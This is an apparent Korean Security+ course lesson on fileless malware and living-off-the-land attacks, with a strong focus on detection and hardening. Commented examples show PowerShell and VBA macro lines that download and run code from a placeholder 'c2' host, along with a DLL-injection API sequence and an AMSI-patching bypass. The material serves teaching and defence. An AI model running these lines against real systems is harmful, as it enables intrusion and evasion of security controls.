0Pricing
Cloud & IT Cert Prep · 강의

파일리스 악성 코드와 시스템 도구 악용 공격

파일리스 악성 코드가 PowerShell, WMI, 매크로와 같은 정상 도구를 악용하여 기존 서명 기반 탐지를 회피하는 방법을 학습합니다.

파일리스 악성 코드와 시스템 도구 악용 공격은(는) CoddyKit의 무료 Cloud & IT Cert Prep 강의입니다. 이것은 4개 중 4번째 강의입니다. 아래에서 전체 강의를 무료로 읽을 수 있으며, 내장 코드 에디터와 24/7 AI 튜터와 함께 브라우저에서 직접 실습할 수 있습니다. 이 강의는 Cloud & IT Cert Prep 학습 경로의 일부이며, 진행 상황이 웹과 CoddyKit 앱에 동기화됩니다. Cloud & IT Cert Prep 강의에는 총 4개의 강의가 포함되어 있습니다.

파일리스 공격이 매우 효과적인 이유

기존 악성 코드는 실행 파일을 디스크에 기록하므로 시그니처 기반 백신이 이를 Scanning하고 Detection할 기회를 제공합니다. 파일리스 악성 코드는 전적으로 memory에서 작동하거나 이미 설치된 정상 도구를 악용하므로, AV가 찾을 기존 악성 코드 파일을 남기지 않습니다. 이로 인해 시그니처 기반 도구의 Detection 비율이 크게 낮아집니다. Security 공급업체의 보고에 따르면 파일리스 악성 코드 공격은 파일 기반 공격보다 성공할 가능성이 10배 높습니다. 2016년 방글라데시 중앙은행 해킹, 2017년 Petya/NotPetya 변종, 그리고 수많은 국가 주도 침입에서 파일리스 기법을 활용해 persistence를 유지하고 Detection을 회피했습니다.

Living-off-the-Land (LotL) 기법

Living-off-the-land (LotL) 공격은 피해자 System에 이미 존재하는 정상 도구와 유틸리티를 사용하여 악성 동작을 수행합니다. 이러한 도구(PowerShell, WMI, certutil, mshta, regsvr32, rundll32)는 정상적인 용도가 있으므로 OS와 Security 소프트웨어의 신뢰를 받습니다. 공격자가 기본 제공 도구만 사용하면 일반적인 관리 활동에 자연스럽게 섞일 수 있습니다. 방어자의 과제는 이러한 도구의 악성 사용과 정상적인 관리 작업을 구분하는 것입니다. 따라서 LotL 기법에서는 시그니처 Detection보다 행동 분석과 상황 인식이 더 효과적입니다.

# Common LotL (LOLBins - Living Off the Land Binaries):
# certutil.exe   - download files from internet
# mshta.exe      - execute HTA (HTML Application) scripts
# regsvr32.exe   - execute DLL or scriptlets remotely (Squiblydoo)
# rundll32.exe   - execute DLL exports
# wmic.exe       - WMI queries and lateral movement
# bitsadmin.exe  - download/upload via BITS service
# powershell.exe - nearly unlimited capability
# cmstp.exe      - bypass UAC, run scripts

공격 도구로서의 PowerShell

PowerShell은 전체 .NET 프레임워크, WMI 및 Windows API에 액세스할 수 있고 memory에서 실행할 때 흔적이 거의 남지 않기 때문에 가장 많이 악용되는 LotL 도구입니다. 공격자는 디스크에 기록하지 않고 PowerShell Script를 직접 memory로 Download하며, logging에서 명령을 난독화하기 위해 Base64로 인코딩하고, reflection 같은 기능을 사용하여 .NET 어셈블리를 memory에 Load합니다. Empire와 Cobalt Strike 프레임워크는 침해 후 활동에 PowerShell을 광범위하게 사용합니다. 방어 방법으로는 PowerShell Constrained Language Mode, ScriptBlock Logging(디코딩된 Script 내용을 기록), Module Logging, 그리고 Group Policy를 통한 PowerShell 실행 권한 제한이 있습니다.

# PowerShell attack example (educational):
# Download and execute payload entirely in memory:
# powershell.exe -NoP -NonI -Exec Bypass -W Hidden -Enc <base64>
# IEX (New-Object Net.WebClient).DownloadString('http://c2/payload.ps1')

# Defense: Enable PowerShell logging (Group Policy):
# Computer Config -> Admin Templates -> Windows Components
# -> Windows PowerShell
# Turn on PowerShell Script Block Logging: Enabled
# Turn on Module Logging: Enabled
# Turn on Transcription: Enabled

persistence 및 측면 이동을 위한 WMI

WMI (Windows Management Instrumentation)는 System 관리를 위한 강력한 Windows 기능이지만, 공격자는 이를 persistence와 측면 이동에 악용합니다. WMI Event Subscription은 지정된 Event가 발생할 때 명령을 실행합니다(예: 5분마다, 로그온할 때 또는 특정 Process가 시작될 때). 이러한 Subscription은 재부팅 후에도 유지되고 WMI 저장소에 저장되며, 기존의 예약된 작업이나 레지스트리 실행 Key로 표시되지 않으므로 많은 persistence Detection 도구를 회피합니다. 공격자는 WMI를 사용하여 DCOM(포트 135)을 통해 원격 System에서 Process를 실행할 수도 있으며, 이를 통해 Network 공유 없이 측면 이동을 수행할 수 있습니다.

# WMI event subscription for persistence (educational):
# Filter: every 5 minutes
# Consumer: execute powershell command
# Binding: connect filter to consumer
#
# Detection:
# Monitor WMI subscriptions:
Get-WMIObject -Namespace root\subscription -Class __EventFilter
Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding

# Sysmon Event ID 19/20/21: WMI events logged

Process Injection 기법

Process injection을 사용하면 악성 코드가 정상적이고 신뢰할 수 있는 Process(explorer.exe, svchost.exe, notepad.exe)의 주소 공간 안에서 실행될 수 있습니다. 악성 코드는 해당 Process의 권한과 ID를 상속하므로 Network 연결이 신뢰할 수 있는 Application에서 발생한 것처럼 보입니다. 일반적인 Injection 기법에는 DLL injection(다른 Process에 악성 DLL을 Load), process hollowing(일시 중지된 Process를 만들고 해당 코드를 매핑 해제한 다음 악성 코드로 교체), reflective DLL injection(디스크에 기록하지 않고 DLL을 memory에서 직접 Load)이 있습니다. EDR 도구는 API 호출 순서(OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread)를 Monitoring하여 Injection을 Detection합니다.

# DLL injection API sequence:
# 1. OpenProcess(PROCESS_ALL_ACCESS, target_pid)
# 2. VirtualAllocEx(target, NULL, dll_path_len, MEM_COMMIT, PAGE_READWRITE)
# 3. WriteProcessMemory(target, alloc_addr, dll_path, dll_path_len)
# 4. CreateRemoteThread(target, NULL, 0, LoadLibraryA, alloc_addr)

# Sysmon rules to detect injection:
# Event ID 8: CreateRemoteThread
# Event ID 10: ProcessAccess (targetted process opened)
# Event ID 25: ProcessTampering (image changed in memory)

진입점으로 사용되는 매크로 활성화 문서

많은 파일리스 공격 Chain은 VBA 매크로가 포함된 악성 Office 문서에서 시작됩니다. 사용자가 문서를 열고 매크로를 Enable하면(대개 '이 문서를 보려면 Content를 Enable하십시오'와 같은 메시지로 유도됨), 매크로가 PowerShell을 실행하여 payload를 직접 memory로 Download하고 실행합니다. payload는 디스크에 기록되지 않으며 원래 Office 문서만 디스크에 기록됩니다. 따라서 Security+ 시험에서는 매크로를 비활성화하고 ASR (Attack Surface Reduction) Rule을 배포하는 것을 강조합니다. 최신 중간자 공격자 피싱 프레임워크(Evilginx2 등)는 자격 증명을 탈취한 후 악성 문서를 전달하여 RAT를 배포하기도 합니다.

# Malicious macro flow (educational):
# 1. User receives .docm via email
# 2. User opens, clicks 'Enable Content'
# 3. VBA macro runs:
#    Shell 'powershell -ep bypass -nop -c "IEX(New-Object Net.WebClient).DownloadString(''http://c2/stage2.ps1'')"'
# 4. PowerShell downloads stage2 into memory
# 5. stage2 runs shellcode / loads Cobalt Strike Beacon in memory
# 6. No malware files on disk; only the .docm exists

# ASR rule to block:
# 'Block all Office applications from creating child processes'

AMSI: Antimalware Scan Interface

AMSI (Antimalware Scan Interface)는 Application(PowerShell, VBScript, JScript, Office)이 실행 중에 설치된 백신 엔진으로 Content를 제출하여 Scanning할 수 있도록 하는 Windows API입니다. 디스크에 기록되기 전에도 Scanning할 수 있습니다. AMSI를 사용하면 AV 공급업체가 파일 기반 Scanning으로는 보이지 않는 Script Content를 검사할 수 있습니다. 공격자는 memory의 amsi.dll을 패치하여 모든 제출에 'clean' 결과를 반환하게 하거나, 시그니처 일치를 회피하도록 Script Content를 난독화하여 AMSI Bypass를 시도합니다. EDR 도구는 파일리스 공격 활동의 지표로 AMSI 패치 시도를 Monitoring합니다.

# How AMSI works:
# PowerShell/WScript calls AmsiScanBuffer() before execution
# Windows Defender (or other AV) scans the buffer
# If malicious: AMSI returns AMSI_RESULT_DETECTED -> execution blocked

# AMSI bypass attempts to detect (Sysmon/EDR):
# Memory write to amsi.dll: patch AmsiScanBuffer to always return 0
# Unloading amsi.dll from process memory
# PowerShell Constrained Language Mode + AMSI = stronger defense

파일리스 공격 Detection

파일리스 악성 코드를 Detection하려면 파일 기반 Detection에서 행동 Monitoring으로 전환해야 합니다. 주요 Detection 전략은 다음과 같습니다. PowerShell ScriptBlock Logging은 명령줄에서 인코딩된 경우에도 디코딩된 Script Content를 수집합니다. Sysmon은 전체 명령줄을 포함한 Process 생성, Process 정보가 연결된 Network 연결, 레지스트리 수정을 logging합니다. EDR 행동 Rule은 의심스러운 Process 관계(Word가 PowerShell을 생성하거나, PowerShell이 cmd를 생성하거나, certutil이 실행 파일을 Download하는 경우)에 Alert를 생성합니다. Windows Event Forwarding은 이러한 logging을 중앙 집중식 SIEM으로 전송하여 상관 분석과 장기 보존을 가능하게 합니다.

# Sysmon detection rules for LotL:
# Event ID 1: Process creation
#   Alert if: Word.exe spawns cmd.exe or powershell.exe
#   Alert if: certutil.exe with -urlcache -f parameters
#   Alert if: mshta.exe with remote URL argument

# Event ID 3: Network connection
#   Alert if: powershell.exe initiates outbound connection
#   Alert if: mshta.exe connects to non-Microsoft IPs

# Event ID 7: Image loaded
#   Alert if: known-bad DLL loaded into legitimate process

LotL 도구 사용 제한

조직은 강력한 도구를 실행할 수 있는 사용자를 제한하여 LotL 공격 표면을 줄일 수 있습니다. PowerShell Constrained Language Mode는 공격자가 의존하는 .NET 호출, COM 객체 및 reflection을 제한합니다. AppLocker 및 WDAC (Windows Defender Application Control)은 비관리자 사용자가 특정 Binaries를 실행하지 못하도록 차단할 수 있습니다. LOLBAS project는 알려진 LotL Binaries와 공격 기법을 정리하여, 방어자가 어떤 Binaries를 Monitoring하거나 제한해야 하는지 파악하도록 돕습니다. 모든 LotL Binaries를 차단할 수 있는 것은 아니지만(OS 기능에 필요한 것이 많음), 상황을 고려하여 사용을 Monitoring하는 것은 가능합니다.

# PowerShell Constrained Language Mode:
$ExecutionContext.SessionState.LanguageMode = 'ConstrainedLanguage'
# Or via WDAC policy; CLM automatically applied when WDAC is active

# AppLocker: block mshta.exe for standard users
# Computer Config -> Windows Settings -> Security Settings
# -> Application Control Policies -> AppLocker
# Executable Rules -> Add Rule -> Deny -> mshta.exe (path rule)

# WDAC (stronger than AppLocker):
# Cannot be bypassed by local admin unlike AppLocker
# Enforced at kernel level

파일리스 기법에 대한 MITRE ATT&CK 적용 범위

MITRE ATT&CK framework는 파일리스 및 LotL 기법을 광범위하게 문서화합니다. 주요 하위 기법에는 T1059.001(PowerShell), T1047(WMI 실행), T1055(Process Injection), T1140(파일 난독화 해제/디코딩), T1003.001(자격 증명 덤핑을 위한 LSASS Memory), T1546.003(persistence를 위한 WMI Event Subscription)이 있습니다. ATT&CK Navigator를 사용하여 Detection 역량을 이러한 기법에 매핑하면 적용 범위의 공백을 확인하고 SIEM Rule 개발 방향을 정할 수 있습니다. 이 framework는 각 기법에 대한 완화 및 Detection 지침도 제공합니다.

파일리스 악성 코드 방어 요약

파일리스 악성 코드를 위한 계층형 방어 전략에는 PowerShell logging(ScriptBlock, Module, Transcription) Enable, 포괄적인 Config를 적용한 Sysmon 배포, 최신 AV 엔진과 함께 AMSI 구현, WDAC를 통한 PowerShell Constrained Language Mode 강제, Group Policy를 통한 Office 문서의 매크로 실행 제한, 행동 Detection 기능을 갖춘 EDR 배포, 알려진 악성 Process Chain에 대한 Detection Rule과 함께 모든 logging을 SIEM으로 전달하는 작업이 포함됩니다. 공격 표면을 제한하고 가시성을 개선하면 Detection되지 않은 상태로 파일리스 공격을 실행하기가 훨씬 어려워집니다.

빠른 확인

이 Lesson에서 다룬 CompTIA Security+ (SY0-701) 개념을 얼마나 이해했는지 확인해 보십시오.

Lesson 요약

이 Lesson에서는 다음을 배웠습니다. 파일리스 악성 코드는 memory에서 작동하며 PowerShell, WMI, certutil 같은 정상적인 OS 도구를 악용하여 시그니처 기반 Detection을 회피합니다. Process injection 기법은 Windows memory 관리 API를 악용하여 신뢰할 수 있는 Process 안에 악성 코드를 숨깁니다. 또한 PowerShell logging과 AMSI를 결합한 SIEM, Sysmon 및 EDR을 통한 행동 Detection은 이러한 시그니처 회피 공격 Chain에 대한 가장 강력한 방어를 제공합니다. 다음에서는 Vulnerability Scanning과 침투 테스트를 비교하여 살펴봅니다.

자주 묻는 질문

“파일리스 악성 코드와 시스템 도구 악용 공격” 강의는 무료인가요?

네 — “파일리스 악성 코드와 시스템 도구 악용 공격” 전체 내용을 이 웹사이트에서 무료로 읽을 수 있습니다. 인터랙티브하게 실습하려면(내장 코드 에디터와 24/7 AI 튜터), CoddyKit PRO로 업그레이드하면 Cloud & IT Cert Prep 강의 전체를 잠금 해제할 수 있습니다. Cloud & IT Cert Prep 강의에는 총 4개의 강의가 포함되어 있습니다.

“파일리스 악성 코드와 시스템 도구 악용 공격”에서 뭘 배우나요?

파일리스 악성 코드가 PowerShell, WMI, 매크로와 같은 정상 도구를 악용하여 기존 서명 기반 탐지를 회피하는 방법을 학습합니다. 브라우저에서 직접 실행하는 실습 코드로 Cloud & IT Cert Prep을(를) 배우며, 24/7 AI 튜터가 강의를 진행하면서 질문에 답변해줍니다.

Cloud & IT Cert Prep을(를) 시작하는 데 경험이 필요한가요?

사전 경험은 필요하지 않습니다. CoddyKit의 Cloud & IT Cert Prep은(는) 초급자부터 고급 학습자까지를 위해 구성되어 있으므로, 여기서 시작하거나 처음부터 시작할 수 있으며 자신의 속도대로 진행할 수 있습니다. 이것은 4개 중 4번째 강의입니다.

“파일리스 악성 코드와 시스템 도구 악용 공격” 강의는 얼마나 걸리나요?

대부분의 CoddyKit 강의는 약 5~10분이 소요됩니다. 각 강의는 간결하고 인터랙티브하여 꾸준한 진행이 가능하며, 웹과 앱에서 중단한 부분부터 바로 시작할 수 있습니다.

이 Cloud & IT Cert Prep 강의에서 코드를 작성하고 실행할 수 있나요?

네. 모든 Cloud & IT Cert Prep 강의에는 내장 코드 에디터가 포함되어 있으므로, 브라우저에서 바로 실제 코드를 작성하고 실행한 후 즉시 AI 피드백을 받을 수 있습니다 — 로컬 설정이 필요 없습니다.

이 강의의 모든 강의

  1. 바이러스, 웜, 트로이 목마
  2. 랜섬웨어와 암호화 악성 코드
  3. 루트킷, 스파이웨어, 키로거
  4. 파일리스 악성 코드와 시스템 도구 악용 공격
← Cloud & IT Cert Prep(으)로 돌아가기